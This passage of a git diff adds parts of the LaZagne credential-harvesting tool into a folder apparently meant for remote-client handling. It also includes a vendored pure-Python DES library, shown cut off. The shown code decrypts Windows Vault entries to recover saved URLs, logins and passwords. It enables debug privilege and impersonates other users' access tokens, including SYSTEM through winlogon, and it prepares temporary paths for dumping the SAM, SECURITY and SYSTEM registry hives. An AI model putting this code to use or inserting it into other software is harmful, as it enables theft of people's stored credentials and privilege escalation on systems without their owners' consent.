+ if self.blob_store_size > 0:
+ self.blob_store_raw = DPAPIBlob()
+ self.blob_store_raw.parse(data.eat_sub(self.blob_store_size))
+
+# ===============================================================================
+# VAULT file structs
+# ===============================================================================
+
+
+class VaultAttribute(DataStruct):
+ """
+ This class contains the encrypted data we are looking for (data + iv)
+ """
+ def __init__(self, raw=None):
+ self.id = None
+ self.attr_unknown_1 = None
+ self.attr_unknown_2 = None
+ self.attr_unknown_3 = None
+ self.padding = None
+ self.attr_unknown_4 = None
+ self.size = None
+ # VAULT_ATTRIBUTE_ENCRYPTED
+ self.has_iv = None
+ self.iv_size = None
+ self.iv = None
+ self.data = None
+ self.stream_end = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.id = data.eat("L")
+ self.attr_unknown_1 = data.eat("L")
+ self.attr_unknown_2 = data.eat("L")
+ self.attr_unknown_3 = data.eat("L")
+ # self.padding = data.eat("6s")
+ if self.id >= 100:
+ self.attr_unknown_4 = data.eat("L")
+ self.size = data.eat("L")
+ if self.size > 0:
+ self.has_iv = char_to_int(data.eat("1s")) # To change for Python 3 compatibility
+ if self.has_iv == 1:
+ self.iv_size = data.eat("L")
+ self.iv = data.eat(str(self.iv_size)+ "s")
+ self.data = data.eat(str(self.size - 1 - 4 - self.iv_size) + "s")
+ else:
+ self.data = data.eat(str(self.size - 1) + "s")
+
+
+class VaultAttributeMapEntry(DataStruct):
+ """
+ This class contains a pointer on VaultAttribute structure
+ """
+ def __init__(self, raw=None):
+ self.id = None
+ self.offset = None
+ self.attr_map_entry_unknown_1 = None
+ self.pointer = None
+ self.extra_entry = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.id = data.eat("L")
+ self.offset = data.eat("L")
+ self.attr_map_entry_unknown_1 = data.eat("L")
+
+
+class VaultVcrd(DataStruct):
+ """
+ vcrd files contain encrypted attributes encrypted with the previous AES keys which represents the target secret
+ """
+ def __init__(self, raw=None):
+ self.schema_guid = None
+ self.vcrd_unknown_1 = None
+ self.last_update = None
+ self.vcrd_unknown_2 = None
+ self.vcrd_unknown_3 = None
+ self.description = None
+ self.attributes_array_size = None
+ self.attributes_num = None
+ self.attributes = []
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.schema_guid = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s")
+ self.vcrd_unknown_1 = data.eat("L")
+ self.last_update = data.eat("Q")
+ self.vcrd_unknown_2 = data.eat("L")
+ self.vcrd_unknown_3 = data.eat("L")
+ self.description = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode
+ self.attributes_array_size = data.eat("L")
+ # 12 is the size of the VAULT_ATTRIBUTE_MAP_ENTRY
+ self.attributes_num = self.attributes_array_size / 12
+ for i in range(self.attributes_num):
+ # 12: size of VaultAttributeMapEntry Structure
+ v_map_entry = VaultAttributeMapEntry(data.eat("12s"))
+ self.attributes.append(v_map_entry)
+
+# ===============================================================================
+# VAULT schemas
+# ===============================================================================
+
+
+class VaultVsch(DataStruct):
+ """
+ Vault Schemas
+ Vault file partial parsing
+ """
+ def __init__(self, raw=None):
+ self.version = None
+ self.schema_guid = None
+ self.vault_vsch_unknown_1 = None
+ self.count = None
+ self.schema_name = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.version = data.eat("L")
+ self.schema_guid = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B")
+ self.vault_vsch_unknown_1 = data.eat("L")
+ self.count = data.eat("L")
+ self.schema_name = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8").rstrip('\x00\x00')
+
+
+class VaultAttributeItem(object):
+ def __init__(self, id_, item):
+ self.id = id_
+ self.item = item.encode('hex')
+
+
+class VaultSchemaGeneric(DataStruct):
+ """
+ Generic Vault Schema
+ """
+ def __init__(self, raw=None):
+ self.version = None
+ self.count = None
+ self.vault_schema_generic_unknown1 = None
+ self.attribute_item = []
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.version = data.eat("L")
+ self.count = data.eat("L")
+ self.vault_schema_generic_unknown1 = data.eat("L")
+ for i in range(self.count):
+ self.attribute_item.append(
+ VaultAttributeItem(
+ id_=data.eat("L"),
+ item=data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8")
+ )
+ )
+
+# Vault Simple Schema
+
+# VAULT_SCHEMA_SIMPLE = VaultSchemaSimpleAdapter(
+# Struct(
+# 'data' / GreedyRange(Byte),
+# )
+# )
+
+
+class VaultSchemaPin(DataStruct):
+ """
+ PIN Logon Vault Resource Schema
+ """
+ def __init__(self, raw=None):
+ self.version = None
+ self.count = None
+ self.vault_schema_pin_unknown1 = None
+ self.id_sid = None
+ self.sid_len = None
+ self.sid = None
+ self.id_resource = None
+ self.resource = None
+ self.id_password = None
+ self.password = None
+ self.id_pin = None
+ self.pin = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.version = data.eat("L")
+ self.count = data.eat("L")
+ self.vault_schema_pin_unknown1 = data.eat("L")
+ self.id_sid = data.eat("L")
+ self.sid_len = data.eat("L")
+ if self.sid_len > 0:
+ self.sid = data.eat_sub(self.sid_len)
+ self.id_resource = data.eat("L")
+ self.resource = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8").rstrip('\x00\x00')
+ self.id_password = data.eat("L")
+ self.authenticator = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8").rstrip('\x00\x00') # Password
+ self.id_pin = data.eat("L")
+ self.pin = data.eat_length_and_string("L")
+
+
+class VaultSchemaWebPassword(DataStruct):
+ """
+ Windows Web Password Credential Schema
+ """
+ def __init__(self, raw=None):
+ self.version = None
+ self.count = None
+ self.vault_schema_web_password_unknown1 = None
+ self.id_identity = None
+ self.identity = None
+ self.id_resource = None
+ self.resource = None
+ self.id_authenticator = None
+ self.authenticator = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.version = data.eat("L")
+ self.count = data.eat("L")
+ self.vault_schema_web_password_unknown1 = data.eat("L")
+ self.id_identity = data.eat("L")
+ self.identity = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8").rstrip('\x00\x00')
+ self.id_resource = data.eat("L")
+ self.resource = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8").rstrip('\x00\x00')
+ self.id_authenticator = data.eat("L")
+ self.authenticator = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8").rstrip('\x00\x00')
+
+
+class VaultSchemaActiveSync(DataStruct):
+ """
+ Active Sync Credential Schema
+ """
+ def __init__(self, raw=None):
+ self.version = None
+ self.count = None
+ self.vault_schema_activesync_unknown1 = None
+ self.id_identity = None
+ self.identity = None
+ self.id_resource = None
+ self.resource = None
+ self.id_authenticator = None
+ self.authenticator = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.version = data.eat("L")
+ self.count = data.eat("L")
+ self.vault_schema_activesync_unknown1 = data.eat("L")
+ self.id_identity = data.eat("L")
+ self.identity = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8").rstrip('\x00\x00')
+ self.id_resource = data.eat("L")
+ self.resource = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8").rstrip('\x00\x00')
+ self.id_authenticator = data.eat("L")
+ self.authenticator = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8").rstrip('\x00').encode('hex')
+
+
+# Vault Schema Dict
+vault_schemas = {
+ u'ActiveSyncCredentialSchema' : VaultSchemaActiveSync,
+ u'PIN Logon Vault Resource Schema' : VaultSchemaPin,
+ u'Windows Web Password Credential' : VaultSchemaWebPassword,
+}
+
+
+# ===============================================================================
+# VAULT Main Function
+# ===============================================================================
+
+
+class Vault(object):
+ """
+ Contains all process to decrypt Vault files
+ """
+ def __init__(self, vaults_dir):
+ self.vaults_dir = vaults_dir
+
+ def decrypt_vault_attribute(self, vault_attr, key_aes128, key_aes256):
+ """
+ Helper to decrypt VAULT attributes.
+ """
+ if not vault_attr.size:
+ return '', False
+
+ if vault_attr.has_iv:
+ cipher = AESModeOfOperationCBC(key_aes256, iv=vault_attr.iv)
+ is_attribute_ex = True
+ else:
+ cipher = AESModeOfOperationCBC(key_aes128)
+ is_attribute_ex = False
+
+ data = vault_attr.data
+ decypted = b"".join([cipher.decrypt(data[i:i + AES_BLOCK_SIZE]) for i in range(0, len(data), AES_BLOCK_SIZE)])
+ return decypted, is_attribute_ex
+
+ def get_vault_schema(self, guid, base_dir, default_schema):
+ """
+ Helper to get the Vault schema to apply on decoded data.
+ """
+ vault_schema = default_schema
+ schema_file_path = os.path.join(base_dir, guid + '.vsch')
+ try:
+ with open(schema_file_path, 'rb') as fschema:
+ vsch = VaultVsch(fschema.read())
+ vault_schema = vault_schemas.get(
+ vsch.schema_name,
+ VaultSchemaGeneric
+ )
+ except IOError:
+ pass
+ return vault_schema
+
+ def decrypt(self, mkp):
+ """
+ Decrypt one vault file
+ mkp represent the masterkeypool object
+ Very well explained here: http://blog.digital-forensics.it/2016/01/windows-revaulting.html
+ """
+ vpol_filename = os.path.join(self.vaults_dir, 'Policy.vpol')
+ if not os.path.exists(vpol_filename):
+ return False, u'Policy file not found: {file}'.format(file=vpol_filename)
+
+ with open(vpol_filename, 'rb') as fin:
+ vpol = VaultPolicy(fin.read())
+
+ ok, vpol_decrypted = vpol.blob_store_raw.decrypt_encrypted_blob(mkp)
+ if not ok:
+ return False, u'Unable to decrypt blob. {message}'.format(message=vpol_decrypted)
+
+ vpol_keys = VaultPolicyKeys(vpol_decrypted)
+ key_aes128 = vpol_keys.vpol_key1.key
+ key_aes256 = vpol_keys.vpol_key2.key
+
+ for file in os.listdir(self.vaults_dir):
+ if file.lower().endswith('.vcrd'):
+ filepath = os.path.join(self.vaults_dir, file)
+ attributes_data = {}
+
+ with open(filepath, 'rb') as fin:
+ vcrd = VaultVcrd(fin.read())
+
+ current_vault_schema = self.get_vault_schema(
+ guid=vcrd.schema_guid.upper(),
+ base_dir=self.vaults_dir,
+ default_schema=VaultSchemaGeneric
+ )
+ for attribute in vcrd.attributes:
+ fin.seek(attribute.offset)
+
+ v_attribute = VaultAttribute(fin.read())
+ # print '-id: ', v_attribute.id
+ # print '-size: ', v_attribute.size
+ # print '-data: ', repr(v_attribute.data)
+ # print '-has_iv: ', v_attribute.has_iv
+ # print '-iv: ', repr(v_attribute.iv)
+
+ decrypted, is_attribute_ex = self.decrypt_vault_attribute(v_attribute, key_aes128, key_aes256)
+ if is_attribute_ex:
+ schema = current_vault_schema
+ else:
+ # schema = VAULT_SCHEMA_SIMPLE
+ continue
+
+ attributes_data[attribute.id] = {
+ 'data': decrypted,
+ 'schema': schema
+ }
+
+ # Parse value found
+ for k, v in sorted(attributes_data.iteritems()):
+ # Parse decrypted data depending on its schema
+ dataout = v['schema'](v['data'])
+
+ if dataout:
+ return True, {
+ 'URL': dataout.resource,
+ 'Login': dataout.identity,
+ 'Password': dataout.authenticator,
+ 'File': filepath,
+ }
+
+ return False, 'No .vcrd file found. Nothing to decrypt.' \ No newline at end of file
diff --git a/foreign/client_handling/lazagne/config/__init__.py b/foreign/client_handling/lazagne/config/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/__init__.py
diff --git a/foreign/client_handling/lazagne/config/change_privileges.py b/foreign/client_handling/lazagne/config/change_privileges.py
new file mode 100644
index 0000000..e19b5eb
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/change_privileges.py
@@ -0,0 +1,220 @@
+# -*- coding: utf-8 -*-
+# Original code from https://github.com/joren485/PyWinPrivEsc/blob/master/RunAsSystem.py
+
+import sys
+import traceback
+
+from foreign.client_handling.lazagne.config.write_output import print_debug
+from foreign.client_handling.lazagne.config.winstructure import *
+
+import os
+
+
+def get_token_info(hToken):
+ """
+ Retrieve SID and user owner from Token
+ """
+ dwSize = DWORD(0)
+ pStringSid = LPWSTR()
+ TokenUser = 1
+
+ if GetTokenInformation(hToken, TokenUser, byref(TOKEN_USER()), 0, byref(dwSize)) == 0:
+ address = LocalAlloc(0x0040, dwSize)
+ if address:
+ GetTokenInformation(hToken, TokenUser, address, dwSize, byref(dwSize))
+ pToken_User = cast(address, POINTER(TOKEN_USER))
+ if pToken_User.contents.User.Sid:
+ ConvertSidToStringSid(pToken_User.contents.User.Sid, byref(pStringSid))
+ owner, domaine, _ = LookupAccountSidW(None, pToken_User.contents.User.Sid)
+ if pStringSid:
+ sid = pStringSid.value
+ LocalFree(address)
+ return sid, owner
+ return None, None
+
+
+def enable_privilege(privilegeStr, hToken=None):
+ """
+ Enable Privilege on token, if no token is given the function gets the token of the current process.
+ """
+ if hToken == None:
+ hToken = HANDLE(INVALID_HANDLE_VALUE)
+ if not hToken:
+ return False
+
+ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, os.getpid())
+ if not hProcess:
+ return False
+
+ OpenProcessToken(hProcess, (TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY), byref(hToken))
+ e = GetLastError()
+ if e != 0:
+ return False
+ CloseHandle(hProcess)
+
+ privilege_id = LUID()
+ LookupPrivilegeValueA(None, privilegeStr, byref(privilege_id))
+ e = GetLastError()
+ if e != 0:
+ return False
+
+ SE_PRIVILEGE_ENABLED = 0x00000002
+ laa = LUID_AND_ATTRIBUTES(privilege_id, SE_PRIVILEGE_ENABLED)
+ tp = TOKEN_PRIVILEGES(1, laa)
+
+ AdjustTokenPrivileges(hToken, False, byref(tp), sizeof(tp), None, None)
+ e = GetLastError()
+ if e != 0:
+ return False
+ return True
+
+
+def get_debug_privilege():
+ """
+ Enable SE Debug privilege on token
+ """
+ return RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE)
+
+
+def list_sids():
+ """
+ List all SID by process
+ """
+ sids = []
+ for pid in EnumProcesses():
+ if pid <= 4:
+ continue
+
+ try:
+ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, pid)
+ if not hProcess:
+ continue
+
+ hToken = HANDLE(INVALID_HANDLE_VALUE)
+ if OpenProcessToken(hProcess, tokenprivs, byref(hToken)):
+ if hToken:
+ token_sid, owner = get_token_info(hToken)
+ if token_sid and owner:
+ pname = ''
+ sids.append((pid, pname, token_sid, owner))
+ CloseHandle(hToken)
+
+ CloseHandle(hProcess)
+
+ except Exception as e:
+ print_debug('DEBUG', traceback.format_exc())
+ continue
+
+ return list(sids)
+
+
+def get_sid_token(token_sid):
+ if token_sid == "S-1-5-18":
+ sids = list_sids()
+ for sid in sids:
+ if "winlogon" in sid[1].lower():
+ try:
+ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, sid[0])
+ if hProcess:
+ hToken = HANDLE(INVALID_HANDLE_VALUE)
+ if hToken:
+ OpenProcessToken(hProcess, tokenprivs, byref(hToken))
+ if hToken:
+ print_debug('INFO', u'Using PID: ' + str(sid[0]))
+ CloseHandle(hProcess)
+ return hToken
+
+ # CloseHandle(hToken)
+ CloseHandle(hProcess)
+ except Exception as e:
+ print_debug('ERROR', u'{error}'.format(error=e))
+ break
+ return False
+
+ for pid in EnumProcesses():
+ if pid <= 4:
+ continue
+
+ try:
+ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, int(pid))
+ if hProcess:
+ hToken = HANDLE(INVALID_HANDLE_VALUE)
+ if hToken:
+ OpenProcessToken(hProcess, tokenprivs, byref(hToken))
+ if hToken:
+ sid, owner = get_token_info(hToken)
+ if sid == token_sid:
+ print_debug('INFO', u'Impersonate token from pid: ' + str(pid))
+ CloseHandle(hProcess)
+ return hToken
+ CloseHandle(hToken)
+ CloseHandle(hProcess)
+ except Exception as e:
+ print_debug('ERROR', u'{error}'.format(error=e))
+
+ return False
+
+
+def impersonate_sid(sid, close=True):
+ """
+ Try to impersonate an SID
+ """
+ hToken = get_sid_token(sid)
+ if hToken:
+ hTokendupe = impersonate_token(hToken)
+ if hTokendupe:
+ if close:
+ CloseHandle(hTokendupe)
+ return hTokendupe
+ return False
+
+
+global_ref = None
+
+
+def impersonate_sid_long_handle(*args, **kwargs):
+ """
+ Try to impersonate an SID
+ """
+ global global_ref
+ hTokendupe = impersonate_sid(*args, **kwargs)
+ if not hTokendupe:
+ return False
+
+ if global_ref:
+ CloseHandle(global_ref)
+
+ global_ref = hTokendupe
+ return addressof(hTokendupe)
+
+
+def impersonate_token(hToken):
+ """
+ Impersonate token - Need admin privilege
+ """
+ if get_debug_privilege():
+ hTokendupe = HANDLE(INVALID_HANDLE_VALUE)
+ if hTokendupe:
+ SecurityImpersonation = 2
+ TokenPrimary = 1
+ if DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, None, SecurityImpersonation, TokenPrimary, byref(hTokendupe)):
+ CloseHandle(hToken)
+ if ImpersonateLoggedOnUser(hTokendupe):
+ return hTokendupe
+ else:
+ print_debug('DEBUG', 'Get debug privilege failed')
+ return False
+
+
+def rev2self():
+ """
+ Back to previous token priv
+ """
+ global global_ref
+ RevertToSelf()
+ try:
+ if global_ref:
+ CloseHandle(global_ref)
+ except Exception:
+ pass
+ global_ref = None
diff --git a/foreign/client_handling/lazagne/config/constant.py b/foreign/client_handling/lazagne/config/constant.py
new file mode 100644
index 0000000..fd26d0a
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/constant.py
@@ -0,0 +1,62 @@
+# -*- coding: utf-8 -*-
+import tempfile
+import logging
+import random
+import string
+import time
+import os
+
+logging.getLogger().setLevel(logging.CRITICAL)
+date = time.strftime("%d%m%Y_%H%M%S")
+tmp = tempfile.gettempdir()
+
+
+class constant():
+ folder_name = '.'
+ file_name_results = 'credentials_{current_time}'.format(
+ current_time=date
+ ) # The extension is added depending on the user output choice
+ max_help = 27
+ CURRENT_VERSION = '2.4.3'
+ output = None
+ modules_dic = {}
+ nb_password_found = 0 # Total password found
+ password_found = [] # Tab containing all passwords used for dictionary attack
+ stdout_result = [] # Tab containing all results by user
+ pypykatz_result = {}
+ finalResults = {}
+ profile = {
+ 'APPDATA': u'{drive}:\\Users\\{user}\\AppData\\Roaming\\',
+ 'USERPROFILE': u'{drive}:\\Users\\{user}\\',
+ 'HOMEDRIVE': u'{drive}:',
+ 'HOMEPATH': u'{drive}:\\Users\\{user}',
+ 'ALLUSERSPROFILE': u'{drive}:\\ProgramData',
+ 'COMPOSER_HOME': u'{drive}:\\Users\\{user}\\AppData\\Roaming\\Composer\\',
+ 'LOCALAPPDATA': u'{drive}:\\Users\\{user}\\AppData\\Local',
+ }
+ username = u''
+ keepass = {}
+ hives = {
+ 'sam': os.path.join(
+ tmp,
+ ''.join([random.choice(string.ascii_lowercase) for x in range(0, random.randint(6, 12))])),
+ 'security': os.path.join(
+ tmp,
+ ''.join([random.choice(string.ascii_lowercase) for x in range(0, random.randint(6, 12))])),
+ 'system': os.path.join(
+ tmp,
+ ''.join([random.choice(string.ascii_lowercase) for x in range(0, random.randint(6, 12))]))
+ }
+ quiet_mode = False
+ st = None # Standard output
+ drive = u'C'
+ user_dpapi = None
+ system_dpapi = None
+ lsa_secrets = None
+ is_current_user = False # If True, Windows API are used otherwise dpapi is used
+ user_password = None
+ wifi_password = False # Check if the module as already be done
+ module_to_exec_at_end = {
+ "winapi": [],
+ "dpapi": [],
+ }
diff --git a/foreign/client_handling/lazagne/config/crypto/__init__.py b/foreign/client_handling/lazagne/config/crypto/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/crypto/__init__.py
diff --git a/foreign/client_handling/lazagne/config/crypto/pyDes.py b/foreign/client_handling/lazagne/config/crypto/pyDes.py
new file mode 100644
index 0000000..09b34c3
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/crypto/pyDes.py
@@ -0,0 +1,852 @@
+#############################################################################
+# Documentation #
+#############################################################################
+
+# Author: Todd Whiteman
+# Date: 28th April, 2010
+# Version: 2.0.1
+# License: MIT
+# Homepage: http://twhiteman.netfirms.com/des.html
+#
+# This is a pure python implementation of the DES encryption algorithm.
+# It's pure python to avoid portability issues, since most DES
+# implementations are programmed in C (for performance reasons).
+#
+# Triple DES class is also implemented, utilizing the DES base. Triple DES
+# is either DES-EDE3 with a 24 byte key, or DES-EDE2 with a 16 byte key.
+#
+# See the README.txt that should come with this python module for the
+# implementation methods used.
+#
+# Thanks to:
+# * David Broadwell for ideas, comments and suggestions.
+# * Mario Wolff for pointing out and debugging some triple des CBC errors.
+# * Santiago Palladino for providing the PKCS5 padding technique.
+# * Shaya for correcting the PAD_PKCS5 triple des CBC errors.
+#
+"""A pure python implementation of the DES and TRIPLE DES encryption algorithms.
+
+Class initialization
+--------------------
+pyDes.des(key, [mode], [IV], [pad], [padmode])
+pyDes.triple_des(key, [mode], [IV], [pad], [padmode])
+
+key -> Bytes containing the encryption key. 8 bytes for DES, 16 or 24 bytes
+ for Triple DES
+mode -> Optional argument for encryption type, can be either
+ pyDes.ECB (Electronic Code Book) or pyDes.CBC (Cypher Block Chaining)
+IV -> Optional Initial Value bytes, must be supplied if using CBC mode.
+ Length must be 8 bytes.
+pad -> Optional argument, set the pad character (PAD_NORMAL) to use during
+ all encrypt/decrypt operations done with this instance.
+padmode -> Optional argument, set the padding mode (PAD_NORMAL or PAD_PKCS5)
+ to use during all encrypt/decrypt operations done with this instance.
+
+I recommend to use PAD_PKCS5 padding, as then you never need to worry about any
+padding issues, as the padding can be removed unambiguously upon decrypting
+data that was encrypted using PAD_PKCS5 padmode.
+
+Common methods
+--------------
+encrypt(data, [pad], [padmode])
+decrypt(data, [pad], [padmode])
+
+data -> Bytes to be encrypted/decrypted
+pad -> Optional argument. Only when using padmode of PAD_NORMAL. For
+ encryption, adds this characters to the end of the data block when
+ data is not a multiple of 8 bytes. For decryption, will remove the
+ trailing characters that match this pad character from the last 8
+ bytes of the unencrypted data block.
+padmode -> Optional argument, set the padding mode, must be one of PAD_NORMAL
+ or PAD_PKCS5). Defaults to PAD_NORMAL.
+
+
+Example
+-------
+from pyDes import *
+
+data = "Please encrypt my data"
+k = des("DESCRYPT", CBC, "\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5)
+# For Python3, you'll need to use bytes, i.e.:
+# data = b"Please encrypt my data"
+# k = des(b"DESCRYPT", CBC, b"\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5)
+d = k.encrypt(data)
+print "Encrypted: %r" % d
+print "Decrypted: %r" % k.decrypt(d)
+assert k.decrypt(d, padmode=PAD_PKCS5) == data
+
+
+See the module source (pyDes.py) for more examples of use.
+You can also run the pyDes.py file without and arguments to see a simple test.
+
+Note: This code was not written for high-end systems needing a fast
+ implementation, but rather a handy portable solution with small usage.
+
+"""
+
+import sys
+
+# _pythonMajorVersion is used to handle Python2 and Python3 differences.
+_pythonMajorVersion = sys.version_info[0]
+
+# Modes of crypting / cyphering
+ECB = 0
+CBC = 1
+
+# Modes of padding
+PAD_NORMAL = 1
+PAD_PKCS5 = 2
+
+# PAD_PKCS5: is a method that will unambiguously remove all padding
+# characters after decryption, when originally encrypted with
+# this padding mode.
+# For a good description of the PKCS5 padding technique, see:
+# http://www.faqs.org/rfcs/rfc1423.html
+
+# The base class shared by des and triple des.
+class _baseDes(object):
+ def __init__(self, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):
+ if IV:
+ IV = self._guardAgainstUnicode(IV)
+ if pad:
+ pad = self._guardAgainstUnicode(pad)
+ self.block_size = 8
+ # Sanity checking of arguments.
+ if pad and padmode == PAD_PKCS5:
+ raise ValueError("Cannot use a pad character with PAD_PKCS5")
+ if IV and len(IV) != self.block_size:
+ raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes")
+
+ # Set the passed in variables
+ self._mode = mode
+ self._iv = IV
+ self._padding = pad
+ self._padmode = padmode
+
+ def getKey(self):
+ """getKey() -> bytes"""
+ return self.__key
+
+ def setKey(self, key):
+ """Will set the crypting key for this object."""
+ key = self._guardAgainstUnicode(key)
+ self.__key = key
+
+ def getMode(self):
+ """getMode() -> pyDes.ECB or pyDes.CBC"""
+ return self._mode
+
+ def setMode(self, mode):
+ """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC"""
+ self._mode = mode
+
+ def getPadding(self):
+ """getPadding() -> bytes of length 1. Padding character."""
+ return self._padding
+
+ def setPadding(self, pad):
+ """setPadding() -> bytes of length 1. Padding character."""
+ if pad is not None:
+ pad = self._guardAgainstUnicode(pad)
+ self._padding = pad
+
+ def getPadMode(self):
+ """getPadMode() -> pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
+ return self._padmode
+
+ def setPadMode(self, mode):
+ """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
+ self._padmode = mode
+
+ def getIV(self):
+ """getIV() -> bytes"""
+ return self._iv
+
+ def setIV(self, IV):
+ """Will set the Initial Value, used in conjunction with CBC mode"""
+ if not IV or len(IV) != self.block_size:
+ raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes")
+ IV = self._guardAgainstUnicode(IV)
+ self._iv = IV
+
+ def _padData(self, data, pad, padmode):
+ # Pad data depending on the mode
+ if padmode is None:
+ # Get the default padding mode.
+ padmode = self.getPadMode()
+ if pad and padmode == PAD_PKCS5:
+ raise ValueError("Cannot use a pad character with PAD_PKCS5")
+
+ if padmode == PAD_NORMAL:
+ if len(data) % self.block_size == 0:
+ # No padding required.
+ return data
+
+ if not pad:
+ # Get the default padding.
+ pad = self.getPadding()
+ if not pad:
+ raise ValueError("Data must be a multiple of " + str(self.block_size) + " bytes in length. Use padmode=PAD_PKCS5 or set the pad character.")
+ data += (self.block_size - (len(data) % self.block_size)) * pad
+
+ elif padmode == PAD_PKCS5:
+ pad_len = 8 - (len(data) % self.block_size)
+ if _pythonMajorVersion < 3:
+ data += pad_len * chr(pad_len)
+ else:
+ data += bytes([pad_len] * pad_len)
+
+ return data
+
+ def _unpadData(self, data, pad, padmode):
+ # Unpad data depending on the mode.
+ if not data:
+ return data
+ if pad and padmode == PAD_PKCS5:
+ raise ValueError("Cannot use a pad character with PAD_PKCS5")
+ if padmode is None:
+ # Get the default padding mode.
+ padmode = self.getPadMode()
+
+ if padmode == PAD_NORMAL:
+ if not pad:
+ # Get the default padding.
+ pad = self.getPadding()
+ if pad:
+ data = data[:-self.block_size] + \
+ data[-self.block_size:].rstrip(pad)
+
+ elif padmode == PAD_PKCS5:
+ if _pythonMajorVersion < 3:
+ pad_len = ord(data[-1])
+ else:
+ pad_len = data[-1]
+ data = data[:-pad_len]
+
+ return data
+
+ def _guardAgainstUnicode(self, data):
+ # Only accept byte strings or ascii unicode values, otherwise
+ # there is no way to correctly decode the data into bytes.
+ if _pythonMajorVersion < 3:
+ if isinstance(data, unicode): # noqa
+ raise ValueError("pyDes can only work with bytes, not Unicode strings.")
+ else:
+ if isinstance(data, str):
+ # Only accept ascii unicode values.
+ try:
+ return data.encode('ascii')
+ except UnicodeEncodeError:
+ pass
+ raise ValueError("pyDes can only work with encoded strings, not Unicode.")
+ return data
+
+#############################################################################
+# DES #
+#############################################################################
+class des(_baseDes):
+ """DES encryption/decrytpion class
+
+ Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes.
+
+ pyDes.des(key,[mode], [IV])
+
+ key -> Bytes containing the encryption key, must be exactly 8 bytes
+ mode -> Optional argument for encryption type, can be either pyDes.ECB
+ (Electronic Code Book), pyDes.CBC (Cypher Block Chaining)
+ IV -> Optional Initial Value bytes, must be supplied if using CBC mode.
+ Must be 8 bytes in length.
+ pad -> Optional argument, set the pad character (PAD_NORMAL) to use
+ during all encrypt/decrypt operations done with this instance.
+ padmode -> Optional argument, set the padding mode (PAD_NORMAL or
+ PAD_PKCS5) to use during all encrypt/decrypt operations done
+ with this instance.
+ """
+
+
+ # Permutation and translation tables for DES
+ __pc1 = [56, 48, 40, 32, 24, 16, 8,
+ 0, 57, 49, 41, 33, 25, 17,
+ 9, 1, 58, 50, 42, 34, 26,
+ 18, 10, 2, 59, 51, 43, 35,
+ 62, 54, 46, 38, 30, 22, 14,
+ 6, 61, 53, 45, 37, 29, 21,
+ 13, 5, 60, 52, 44, 36, 28,
+ 20, 12, 4, 27, 19, 11, 3
+ ]
+
+ # number left rotations of pc1
+ __left_rotations = [
+ 1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1
+ ]
+
+ # permuted choice key (table 2)
+ __pc2 = [
+ 13, 16, 10, 23, 0, 4,
+ 2, 27, 14, 5, 20, 9,
+ 22, 18, 11, 3, 25, 7,
+ 15, 6, 26, 19, 12, 1,
+ 40, 51, 30, 36, 46, 54,
+ 29, 39, 50, 44, 32, 47,
+ 43, 48, 38, 55, 33, 52,
+ 45, 41, 49, 35, 28, 31
+ ]
+
+ # initial permutation IP
+ __ip = [57, 49, 41, 33, 25, 17, 9, 1,
+ 59, 51, 43, 35, 27, 19, 11, 3,
+ 61, 53, 45, 37, 29, 21, 13, 5,
+ 63, 55, 47, 39, 31, 23, 15, 7,
+ 56, 48, 40, 32, 24, 16, 8, 0,
+ 58, 50, 42, 34, 26, 18, 10, 2,
+ 60, 52, 44, 36, 28, 20, 12, 4,
+ 62, 54, 46, 38, 30, 22, 14, 6
+ ]
+
+ # Expansion table for turning 32 bit blocks into 48 bits
+ __expansion_table = [
+ 31, 0, 1, 2, 3, 4,
+ 3, 4, 5, 6, 7, 8,
+ 7, 8, 9, 10, 11, 12,
+ 11, 12, 13, 14, 15, 16,
+ 15, 16, 17, 18, 19, 20,
+ 19, 20, 21, 22, 23, 24,
+ 23, 24, 25, 26, 27, 28,
+ 27, 28, 29, 30, 31, 0
